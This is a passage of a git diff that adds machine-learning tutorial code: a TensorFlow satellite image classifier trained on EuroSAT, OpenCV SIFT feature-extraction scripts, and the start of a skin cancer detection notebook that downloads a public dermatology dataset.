+          "height": 621
+        },
+        "id": "MjrKwojyo-kE",
+        "outputId": "c8ef6c03-9035-4785-d236-c9c104412e34"
+      },
+      "outputs": [],
+      "source": [
+        "# make a plot for number of samples on each class\n",
+        "fig, ax = plt.subplots(1, 1, figsize=(14,10))\n",
+        "labels, counts = np.unique(np.fromiter(all_ds[0][\"train\"].map(lambda x: x[\"label\"]), np.int32), \n",
+        "                       return_counts=True)\n",
+        "\n",
+        "plt.ylabel('Counts')\n",
+        "plt.xlabel('Labels')\n",
+        "sns.barplot(x = [class_names[l] for l in labels], y = counts, ax=ax) \n",
+        "for i, x_ in enumerate(labels):\n",
+        "  ax.text(x_-0.2, counts[i]+5, counts[i])\n",
+        "# set the title\n",
+        "ax.set_title(\"Bar Plot showing Number of Samples on Each Class\")\n",
+        "# save the image\n",
+        "# plt.savefig(\"class_samples.png\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "g60GgX9hEPBc"
+      },
+      "outputs": [],
+      "source": [
+        "def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):\n",
+        "  if cache:\n",
+        "    if isinstance(cache, str):\n",
+        "      ds = ds.cache(cache)\n",
+        "    else:\n",
+        "      ds = ds.cache()\n",
+        "  ds = ds.map(lambda d: (d[\"image\"], tf.one_hot(d[\"label\"], num_classes)))\n",
+        "  # shuffle the dataset\n",
+        "  ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n",
+        "  # Repeat forever\n",
+        "  ds = ds.repeat()\n",
+        "  # split to batches\n",
+        "  ds = ds.batch(batch_size)\n",
+        "  # `prefetch` lets the dataset fetch batches in the background while the model\n",
+        "  # is training.\n",
+        "  ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n",
+        "  return ds"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "TP_CGr3kNw0c"
+      },
+      "outputs": [],
+      "source": [
+        "batch_size = 64\n",
+        "\n",
+        "# preprocess training & validation sets\n",
+        "train_ds = prepare_for_training(train_ds, batch_size=batch_size)\n",
+        "valid_ds = prepare_for_training(valid_ds, batch_size=batch_size)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "vP-ioWj9e37z",
+        "outputId": "2b455894-72e9-4771-905c-5b58701d3a98"
+      },
+      "outputs": [],
+      "source": [
+        "# validating shapes\n",
+        "for el in valid_ds.take(1):\n",
+        "  print(el[0].shape, el[1].shape)\n",
+        "for el in train_ds.take(1):\n",
+        "  print(el[0].shape, el[1].shape)  "
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "cIW7hbHhOVq0"
+      },
+      "outputs": [],
+      "source": [
+        "# take the first batch of the training set\n",
+        "batch = next(iter(train_ds))"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 473
+        },
+        "id": "TNRbCVp6Na1A",
+        "outputId": "412e7412-86f9-467d-d88d-eaa9fd12600a"
+      },
+      "outputs": [],
+      "source": [
+        "def show_batch(batch):\n",
+        "  plt.figure(figsize=(16, 16))\n",
+        "  for n in range(min(32, batch_size)):\n",
+        "      ax = plt.subplot(batch_size//8, 8, n + 1)\n",
+        "      # show the image\n",
+        "      plt.imshow(batch[0][n])\n",
+        "      # and put the corresponding label as title upper to the image\n",
+        "      plt.title(class_names[tf.argmax(batch[1][n].numpy())])\n",
+        "      plt.axis('off')\n",
+        "      plt.savefig(\"sample-images.png\")\n",
+        "\n",
+        "# showing a batch of images along with labels\n",
+        "show_batch(batch)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "JMVzjuqmoOcB"
+      },
+      "outputs": [],
+      "source": [
+        "model_url = \"https://tfhub.dev/google/imagenet/efficientnet_v2_imagenet1k_l/feature_vector/2/"\n",
+        "\n",
+        "# download & load the layer as a feature vector\n",
+        "keras_layer = hub.KerasLayer(model_url, output_shape=[1280], trainable=True)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "uhKLvFpkfiCr"
+      },
+      "outputs": [],
+      "source": [
+        "m = tf.keras.Sequential([\n",
+        "  keras_layer,\n",
+        "  tf.keras.layers.Dense(num_classes, activation=\"softmax\")\n",
+        "])\n",
+        "# build the model with input image shape as (64, 64, 3)\n",
+        "m.build([None, 64, 64, 3])\n",
+        "m.compile(\n",
+        "    loss=\"categorical_crossentropy\", \n",
+        "    optimizer=\"adam\", \n",
+        "    metrics=[\"accuracy\", tfa.metrics.F1Score(num_classes)]\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "-QMzJ4-fhD-B",
+        "outputId": "e9101d76-e18c-42e6-b27c-08c1e037f81a"
+      },
+      "outputs": [],
+      "source": [
+        "m.summary()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "I0vYaHjPhUDF"
+      },
+      "outputs": [],
+      "source": [
+        "model_name = \"satellite-classification\"\n",
+        "model_path = os.path.join(\"results\", model_name + \".h5\")\n",
+        "model_checkpoint = tf.keras.callbacks.ModelCheckpoint(model_path, save_best_only=True, verbose=1)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "IP93lr9DdH9J"
+      },
+      "outputs": [],
+      "source": [
+        "n_training_steps   = int(num_examples * 0.6) // batch_size\n",
+        "n_validation_steps = int(num_examples * 0.2) // batch_size"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "mUp9ocf-hnlC",
+        "outputId": "7f372750-7fa9-4dad-8286-bb324ff56219"
+      },
+      "outputs": [],
+      "source": [
+        "history = m.fit(\n",
+        "    train_ds, validation_data=valid_ds,\n",
+        "    steps_per_epoch=n_training_steps,\n",
+        "    validation_steps=n_validation_steps,\n",
+        "    verbose=1, epochs=5, \n",
+        "    callbacks=[model_checkpoint]\n",
+        ")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "9kjuwUEEXWQ5"
+      },
+      "outputs": [],
+      "source": [
+        "# number of testing steps\n",
+        "n_testing_steps = int(all_ds[1].splits[\"train\"].num_examples * 0.2)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "6U_pHoLGKj-f"
+      },
+      "outputs": [],
+      "source": [
+        "m.load_weights(model_path)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "JWL3NBXfXhTQ",
+        "outputId": "2786d6a0-af1f-47ae-9927-a495100989cc"
+      },
+      "outputs": [],
+      "source": [
+        "# get all testing images as NumPy array\n",
+        "images = np.array([ d[\"image\"] for d in test_ds.take(n_testing_steps) ])\n",
+        "print(\"images.shape:\", images.shape)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "sgq55TrQVtr3",
+        "outputId": "f4c51aaa-8229-444f-ee76-1d9385b94f3e"
+      },
+      "outputs": [],
+      "source": [
+        "# get all testing labels as NumPy array\n",
+        "labels = np.array([ d[\"label\"] for d in test_ds.take(n_testing_steps) ])\n",
+        "print(\"labels.shape:\", labels.shape)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "5UbOsNtmXDqR",
+        "outputId": "a8a5d860-b570-4639-fcf4-36b56db97421"
+      },
+      "outputs": [],
+      "source": [
+        "# feed the images to get predictions\n",
+        "predictions = m.predict(images)\n",
+        "# perform argmax to get class index\n",
+        "predictions = np.argmax(predictions, axis=1)\n",
+        "print(\"predictions.shape:\", predictions.shape)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "GX-GkI9Gy1hS",
+        "outputId": "5ecd1703-093c-4cb8-a8fa-2111e7fb670b"
+      },
+      "outputs": [],
+      "source": [
+        "from sklearn.metrics import f1_score\n",
+        "\n",
+        "accuracy = tf.keras.metrics.Accuracy()\n",
+        "accuracy.update_state(labels, predictions)\n",
+        "print(\"Accuracy:\", accuracy.result().numpy())\n",
+        "print(\"F1 Score:\", f1_score(labels, predictions, average=\"macro\"))"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 736
+        },
+        "id": "yszXAmfdVcOA",
+        "outputId": "56bb4353-4c37-405d-fc18-9f17e19a8c71"
+      },
+      "outputs": [],
+      "source": [
+        "# compute the confusion matrix\n",
+        "cmn = tf.math.confusion_matrix(labels, predictions).numpy()\n",
+        "# normalize the matrix to be in percentages\n",
+        "cmn = cmn.astype('float') / cmn.sum(axis=0)[:, np.newaxis]\n",
+        "# make a plot for the confusion matrix\n",
+        "fig, ax = plt.subplots(figsize=(10,10))\n",
+        "sns.heatmap(cmn, annot=True, fmt='.2f', \n",
+        "            xticklabels=[f\"pred_{c}\" for c in class_names], \n",
+        "            yticklabels=[f\"true_{c}\" for c in class_names],\n",
+        "            # cmap=\"Blues\"\n",
+        "            cmap=\"rocket_r\"\n",
+        "            )\n",
+        "plt.ylabel('Actual')\n",
+        "plt.xlabel('Predicted')\n",
+        "# plot the resulting confusion matrix\n",
+        "plt.savefig(\"confusion-matrix.png\")\n",
+        "# plt.show()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 808
+        },
+        "id": "txdBO11IbF8e",
+        "outputId": "5de1a7a1-1039-475a-8bfa-3e02a4e984a1"
+      },
+      "outputs": [],
+      "source": [
+        "def show_predicted_samples():\n",
+        "  plt.figure(figsize=(14, 14))\n",
+        "  for n in range(64):\n",
+        "      ax = plt.subplot(8, 8, n + 1)\n",
+        "      # show the image\n",
+        "      plt.imshow(images[n])\n",
+        "      # and put the corresponding label as title upper to the image\n",
+        "      if predictions[n] == labels[n]:\n",
+        "        # correct prediction\n",
+        "        ax.set_title(class_names[predictions[n]], color=\"green\")\n",
+        "      else:\n",
+        "        # wrong prediction\n",
+        "        ax.set_title(f\"{class_names[predictions[n]]}/T:{class_names[labels[n]]}\", color=\"red\")\n",
+        "      plt.axis('off')\n",
+        "      plt.savefig(\"predicted-sample-images.png\")\n",
+        "\n",
+        "# showing a batch of images along with predictions labels\n",
+        "show_predicted_samples()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "xgd0y1Ul5aQi"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "collapsed_sections": [],
+      "name": "Satellite-Image-Classification-with-TensorFlow_PythonCode.ipynb",
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/satellite-image-classification/requirements.txt b/machine-learning/satellite-image-classification/requirements.txt
new file mode 100644
index 00000000..107485ff
--- /dev/null
+++ b/machine-learning/satellite-image-classification/requirements.txt
@@ -0,0 +1,8 @@
+tensorflow
+tensorflow_addons
+tensorflow_datasets
+tensorflow_hub
+numpy
+matplotlib
+seaborn
+sklearn
\ No newline at end of file
diff --git a/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py b/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py
new file mode 100644
index 00000000..f306a8c6
--- /dev/null
+++ b/machine-learning/satellite-image-classification/satellite_image_classification_with_tensorflow_pythoncode.py
@@ -0,0 +1,193 @@
+# -*- coding: utf-8 -*-
+"""Satellite-Image-Classification-with-TensorFlow_PythonCode.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1SVpaW9HSebpHNYf6LXTm7elnHOSdQA5i
+"""
+
+!pip install tensorflow tensorflow_addons tensorflow_datasets tensorflow_hub numpy matplotlib seaborn
+
+import os
+
+import numpy as np
+import matplotlib.pyplot as plt
+import seaborn as sns
+import tensorflow as tf
+import tensorflow_datasets as tfds
+import tensorflow_hub as hub
+import tensorflow_addons as tfa
+
+# load the whole dataset, for data info
+all_ds   = tfds.load("eurosat", with_info=True)
+# load training, testing & validation sets, splitting by 60%, 20% and 20% respectively
+train_ds = tfds.load("eurosat", split="train[:60%]")
+test_ds  = tfds.load("eurosat", split="train[60%:80%]")
+valid_ds = tfds.load("eurosat", split="train[80%:]")
+
+# the class names
+class_names = all_ds[1].features["label"].names
+# total number of classes (10)
+num_classes = len(class_names)
+num_examples = all_ds[1].splits["train"].num_examples
+
+# make a plot for number of samples on each class
+fig, ax = plt.subplots(1, 1, figsize=(14,10))
+labels, counts = np.unique(np.fromiter(all_ds[0]["train"].map(lambda x: x["label"]), np.int32), 
+                       return_counts=True)
+
+plt.ylabel('Counts')
+plt.xlabel('Labels')
+sns.barplot(x = [class_names[l] for l in labels], y = counts, ax=ax) 
+for i, x_ in enumerate(labels):
+  ax.text(x_-0.2, counts[i]+5, counts[i])
+# set the title
+ax.set_title("Bar Plot showing Number of Samples on Each Class")
+# save the image
+# plt.savefig("class_samples.png")
+
+def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):
+  if cache:
+    if isinstance(cache, str):
+      ds = ds.cache(cache)
+    else:
+      ds = ds.cache()
+  ds = ds.map(lambda d: (d["image"], tf.one_hot(d["label"], num_classes)))
+  # shuffle the dataset
+  ds = ds.shuffle(buffer_size=shuffle_buffer_size)
+  # Repeat forever
+  ds = ds.repeat()
+  # split to batches
+  ds = ds.batch(batch_size)
+  # `prefetch` lets the dataset fetch batches in the background while the model
+  # is training.
+  ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)
+  return ds
+
+batch_size = 64
+
+# preprocess training & validation sets
+train_ds = prepare_for_training(train_ds, batch_size=batch_size)
+valid_ds = prepare_for_training(valid_ds, batch_size=batch_size)
+
+# validating shapes
+for el in valid_ds.take(1):
+  print(el[0].shape, el[1].shape)
+for el in train_ds.take(1):
+  print(el[0].shape, el[1].shape)
+
+# take the first batch of the training set
+batch = next(iter(train_ds))
+
+def show_batch(batch):
+  plt.figure(figsize=(16, 16))
+  for n in range(min(32, batch_size)):
+      ax = plt.subplot(batch_size//8, 8, n + 1)
+      # show the image
+      plt.imshow(batch[0][n])
+      # and put the corresponding label as title upper to the image
+      plt.title(class_names[tf.argmax(batch[1][n].numpy())])
+      plt.axis('off')
+      plt.savefig("sample-images.png")
+
+# showing a batch of images along with labels
+show_batch(batch)
+
+model_url = "https://tfhub.dev/google/imagenet/efficientnet_v2_imagenet1k_l/feature_vector/2"
+
+# download & load the layer as a feature vector
+keras_layer = hub.KerasLayer(model_url, output_shape=[1280], trainable=True)
+
+m = tf.keras.Sequential([
+  keras_layer,
+  tf.keras.layers.Dense(num_classes, activation="softmax")
+])
+# build the model with input image shape as (64, 64, 3)
+m.build([None, 64, 64, 3])
+m.compile(
+    loss="categorical_crossentropy", 
+    optimizer="adam", 
+    metrics=["accuracy", tfa.metrics.F1Score(num_classes)]
+)
+
+m.summary()
+
+model_name = "satellite-classification"
+model_path = os.path.join("results", model_name + ".h5")
+model_checkpoint = tf.keras.callbacks.ModelCheckpoint(model_path, save_best_only=True, verbose=1)
+
+n_training_steps   = int(num_examples * 0.6) // batch_size
+n_validation_steps = int(num_examples * 0.2) // batch_size
+
+history = m.fit(
+    train_ds, validation_data=valid_ds,
+    steps_per_epoch=n_training_steps,
+    validation_steps=n_validation_steps,
+    verbose=1, epochs=5, 
+    callbacks=[model_checkpoint]
+)
+
+# number of testing steps
+n_testing_steps = int(all_ds[1].splits["train"].num_examples * 0.2)
+
+m.load_weights(model_path)
+
+# get all testing images as NumPy array
+images = np.array([ d["image"] for d in test_ds.take(n_testing_steps) ])
+print("images.shape:", images.shape)
+
+# get all testing labels as NumPy array
+labels = np.array([ d["label"] for d in test_ds.take(n_testing_steps) ])
+print("labels.shape:", labels.shape)
+
+# feed the images to get predictions
+predictions = m.predict(images)
+# perform argmax to get class index
+predictions = np.argmax(predictions, axis=1)
+print("predictions.shape:", predictions.shape)
+
+from sklearn.metrics import f1_score
+
+accuracy = tf.keras.metrics.Accuracy()
+accuracy.update_state(labels, predictions)
+print("Accuracy:", accuracy.result().numpy())
+print("F1 Score:", f1_score(labels, predictions, average="macro"))
+
+# compute the confusion matrix
+cmn = tf.math.confusion_matrix(labels, predictions).numpy()
+# normalize the matrix to be in percentages
+cmn = cmn.astype('float') / cmn.sum(axis=0)[:, np.newaxis]
+# make a plot for the confusion matrix
+fig, ax = plt.subplots(figsize=(10,10))
+sns.heatmap(cmn, annot=True, fmt='.2f', 
+            xticklabels=[f"pred_{c}" for c in class_names], 
+            yticklabels=[f"true_{c}" for c in class_names],
+            # cmap="Blues"
+            cmap="rocket_r"
+            )
+plt.ylabel('Actual')
+plt.xlabel('Predicted')
+# plot the resulting confusion matrix
+plt.savefig("confusion-matrix.png")
+# plt.show()
+
+def show_predicted_samples():
+  plt.figure(figsize=(14, 14))
+  for n in range(64):
+      ax = plt.subplot(8, 8, n + 1)
+      # show the image
+      plt.imshow(images[n])
+      # and put the corresponding label as title upper to the image
+      if predictions[n] == labels[n]:
+        # correct prediction
+        ax.set_title(class_names[predictions[n]], color="green")
+      else:
+        # wrong prediction
+        ax.set_title(f"{class_names[predictions[n]]}/T:{class_names[labels[n]]}", color="red")
+      plt.axis('off')
+      plt.savefig("predicted-sample-images.png")
+
+# showing a batch of images along with predictions labels
+show_predicted_samples()
+
diff --git a/machine-learning/sift/README.md b/machine-learning/sift/README.md
new file mode 100644
index 00000000..53de9ee9
--- /dev/null
+++ b/machine-learning/sift/README.md
@@ -0,0 +1,5 @@
+# [SIFT Feature Extraction using OpenCV in Python](https://www.thepythoncode.com/article/sift-feature-extraction-using-opencv-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- For feature keypoints extraction, use `sift.py`
+- For feature matching, use `feature_match.py`
\ No newline at end of file
diff --git a/machine-learning/sift/book.jpg b/machine-learning/sift/book.jpg
new file mode 100644
index 00000000..4aaff923
Binary files /dev/null and b/machine-learning/sift/book.jpg differ
diff --git a/machine-learning/sift/feature_match.py b/machine-learning/sift/feature_match.py
new file mode 100644
index 00000000..dd1f993e
--- /dev/null
+++ b/machine-learning/sift/feature_match.py
@@ -0,0 +1,29 @@
+import cv2
+
+# read the images
+img1 = cv2.imread('book.jpg')  
+img2 = cv2.imread('table.jpg')
+
+# convert images to grayscale
+img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
+img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)
+
+# create SIFT object
+sift = cv2.xfeatures2d.SIFT_create()
+# detect SIFT features in both images
+keypoints_1, descriptors_1 = sift.detectAndCompute(img1,None)
+keypoints_2, descriptors_2 = sift.detectAndCompute(img2,None)
+# create feature matcher
+bf = cv2.BFMatcher(cv2.NORM_L1, crossCheck=True)
+# match descriptors of both images
+matches = bf.match(descriptors_1,descriptors_2)
+# sort matches by distance
+matches = sorted(matches, key = lambda x:x.distance)
+# draw first 50 matches
+matched_img = cv2.drawMatches(img1, keypoints_1, img2, keypoints_2, matches[:50], img2, flags=2)
+# show the image
+cv2.imshow('image', matched_img)
+# save the image
+cv2.imwrite("matched_images.jpg", matched_img)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/machine-learning/sift/matched_images.jpg b/machine-learning/sift/matched_images.jpg
new file mode 100644
index 00000000..d762ef66
Binary files /dev/null and b/machine-learning/sift/matched_images.jpg differ
diff --git a/machine-learning/sift/requirements.txt b/machine-learning/sift/requirements.txt
new file mode 100644
index 00000000..ba61942c
--- /dev/null
+++ b/machine-learning/sift/requirements.txt
@@ -0,0 +1,3 @@
+opencv-contrib-python==3.4.2.16
+opencv-python==3.4.2.16
+numpy
\ No newline at end of file
diff --git a/machine-learning/sift/sift.py b/machine-learning/sift/sift.py
new file mode 100644
index 00000000..ceb5aeed
--- /dev/null
+++ b/machine-learning/sift/sift.py
@@ -0,0 +1,18 @@
+import cv2
+
+# reading the image
+img = cv2.imread('table.jpg')
+# convert to greyscale
+gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
+# create SIFT feature extractor
+sift = cv2.xfeatures2d.SIFT_create()
+# detect features from the image
+keypoints, descriptors = sift.detectAndCompute(img, None)
+# draw the detected key points
+sift_image = cv2.drawKeypoints(gray, keypoints, img)
+# show the image
+cv2.imshow('image', sift_image)
+# save the image
+cv2.imwrite("table-sift.jpg", sift_image)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
diff --git a/machine-learning/sift/table-sift.jpg b/machine-learning/sift/table-sift.jpg
new file mode 100644
index 00000000..4d1b4deb
Binary files /dev/null and b/machine-learning/sift/table-sift.jpg differ
diff --git a/machine-learning/sift/table.jpg b/machine-learning/sift/table.jpg
new file mode 100644
index 00000000..91401dcf
Binary files /dev/null and b/machine-learning/sift/table.jpg differ
diff --git a/machine-learning/skin-cancer-detection/README.md b/machine-learning/skin-cancer-detection/README.md
new file mode 100644
index 00000000..7cba8558
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/README.md
@@ -0,0 +1,7 @@
+# [Skin Cancer Detection using TensorFlow in Python](https://www.thepythoncode.com/article/skin-cancer-detection-using-tensorflow-in-python)
+To follow along, run:
+- `pip3 install -r requirements.txt`
+
+Full code is at:
+- Notebook: `skin-cancer-detection.ipynb`
+- Script: `skin-cancer-detection.py`
\ No newline at end of file
diff --git a/machine-learning/skin-cancer-detection/generate_metadata.py b/machine-learning/skin-cancer-detection/generate_metadata.py
new file mode 100644
index 00000000..31b9bd19
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/generate_metadata.py
@@ -0,0 +1,46 @@
+import glob
+import os
+import argparse
+
+import pandas as pd
+
+
+def generate_csv(folder, labels):
+    folder_name = os.path.basename(folder)
+    # convert comma separated labels into a list
+    label2int = {}
+    if labels:
+        labels = labels.split(",")
+        for label in labels:
+            string_label, integer_label = label.split("=")
+            label2int[string_label] = integer_label
+
+    labels = list(label2int)
+    # generate CSV file
+    df = pd.DataFrame(columns=["filepath", "label"])
+    i = 0
+    for label in labels:
+        print("Reading", os.path.join(folder, label, "*"))
+        for filepath in glob.glob(os.path.join(folder, label, "*")):
+            df.loc[i] = [filepath, label2int[label]]
+            i += 1
+
+    df.to_csv(f"{folder_name}.csv")
+
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="CSV Metadata generator for skin cancer dataset from ISIC")
+    parser.add_argument("-f", "--folder", help="Dataset portion folder, e.g: /root/skin-disease/test and not the whole dataset", 
+                        required=True)
+    parser.add_argument("-l", "--labels", help="The different skin disease classes along with label encoding separated in commas, \
+                        e.g: Binary classification between malignant and benign categories, something like this: \
+                        nevus=0,seborrheic_keratosis=0,melanoma=1",
+                        required=True)
+    # parse arguments
+    args = parser.parse_args()
+    folder = args.folder
+    labels = args.labels
+    # generate the CSV file
+    generate_csv(folder, labels)
+
diff --git a/machine-learning/skin-cancer-detection/requirements.txt b/machine-learning/skin-cancer-detection/requirements.txt
new file mode 100644
index 00000000..feb07c84
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/requirements.txt
@@ -0,0 +1,8 @@
+tensorflow
+tensorflow_hub
+matplotlib
+numpy
+pandas
+seaborn
+sklearn
+imblearn
\ No newline at end of file
diff --git a/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb b/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb
new file mode 100644
index 00000000..9b6c6d1f
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb
@@ -0,0 +1,1313 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": 1,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "N8Akx754oL8A",
+        "outputId": "f9d76e11-7a0a-49b8-f6c2-4c86dbdbf862"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip\n",
+            "864538487/864538487 [==============================] - 56s 0us/step\n",
+            "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip\n",
+            "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip\n",
+            "5736557430/5736557430 [==============================] - 489s 0us/step\n",
+            "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip\n",
+            "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip\n",
+            "5528640507/5528640507 [==============================] - 448s 0us/step\n",
+            "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip\n"
+          ]
+        }
+      ],
+      "source": [
+        "import tensorflow as tf\n",
+        "import tensorflow_hub as hub\n",
+        "import matplotlib.pyplot as plt\n",
+        "import numpy as np\n",
+        "import pandas as pd\n",
+        "import seaborn as sns\n",
+        "from tensorflow.keras.utils import get_file\n",
+        "from sklearn.metrics import roc_curve, auc, confusion_matrix\n",
+        "from imblearn.metrics import sensitivity_score, specificity_score\n",
+        "\n",
+        "import os\n",
+        "import glob\n",
+        "import zipfile\n",
+        "import random\n",
+        "\n",
+        "# to get consistent results after multiple runs\n",
+        "tf.random.set_seed(7)\n",
+        "np.random.seed(7)\n",
+        "random.seed(7)\n",
+        "\n",
+        "# 0 for benign, 1 for malignant\n",
+        "class_names = [\"benign\", \"malignant\"]\n",
+        "\n",
+        "\n",
+        "def download_and_extract_dataset():\n",
+        "  # dataset from https://github.com/udacity/dermatologist-ai\n",
+        "  # 5.3GB\n",
+        "  train_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip/"\n",
+        "  # 824.5MB\n",
+        "  valid_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip/"\n",
+        "  # 5.1GB\n",
+        "  test_url  = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip/"\n",
+        "  for i, download_link in enumerate([valid_url, train_url, test_url]):\n",
+        "    temp_file = f\"temp{i}.zip\"\n",
+        "    data_dir = get_file(origin=download_link, fname=os.path.join(os.getcwd(), temp_file))\n",
+        "    print(\"Extracting\", download_link)\n",
+        "    with zipfile.ZipFile(data_dir, \"r\") as z:\n",
+        "      z.extractall(\"data\")\n",
+        "    # remove the temp file\n",
+        "    os.remove(temp_file)\n",
+        "\n",
+        "# comment the below line if you already downloaded the dataset\n",
+        "download_and_extract_dataset()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 2,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "F1rReUjnoQdQ",
+        "outputId": "33322aa4-3680-40c6-869d-d49efbb39b81"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Reading data/train/nevus/*\n",
+            "Reading data/train/seborrheic_keratosis/*\n",
+            "Reading data/train/melanoma/*\n",
+            "Saving train.csv\n",
+            "Reading data/valid/nevus/*\n",
+            "Reading data/valid/seborrheic_keratosis/*\n",
+            "Reading data/valid/melanoma/*\n",
+            "Saving valid.csv\n",
+            "Reading data/test/nevus/*\n",
+            "Reading data/test/seborrheic_keratosis/*\n",
+            "Reading data/test/melanoma/*\n",
+            "Saving test.csv\n"
+          ]
+        }
+      ],
+      "source": [
+        "# preparing data\n",
+        "# generate CSV metadata file to read img paths and labels from it\n",
+        "def generate_csv(folder, label2int):\n",
+        "    folder_name = os.path.basename(folder)\n",
+        "    labels = list(label2int)\n",
+        "    # generate CSV file\n",
+        "    df = pd.DataFrame(columns=[\"filepath\", \"label\"])\n",
+        "    i = 0\n",
+        "    for label in labels:\n",
+        "        print(\"Reading\", os.path.join(folder, label, \"*\"))\n",
+        "        for filepath in glob.glob(os.path.join(folder, label, \"*\")):\n",
+        "            df.loc[i] = [filepath, label2int[label]]\n",
+        "            i += 1\n",
+        "    output_file = f\"{folder_name}.csv\"\n",
+        "    print(\"Saving\", output_file)\n",
+        "    df.to_csv(output_file)\n",
+        "\n",
+        "# generate CSV files for all data portions, labeling nevus and seborrheic keratosis\n",
+        "# as 0 (benign), and melanoma as 1 (malignant)\n",
+        "# you should replace \"data\" path to your extracted dataset path\n",
+        "# don't replace if you used download_and_extract_dataset() function\n",
+        "generate_csv(\"data/train\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})\n",
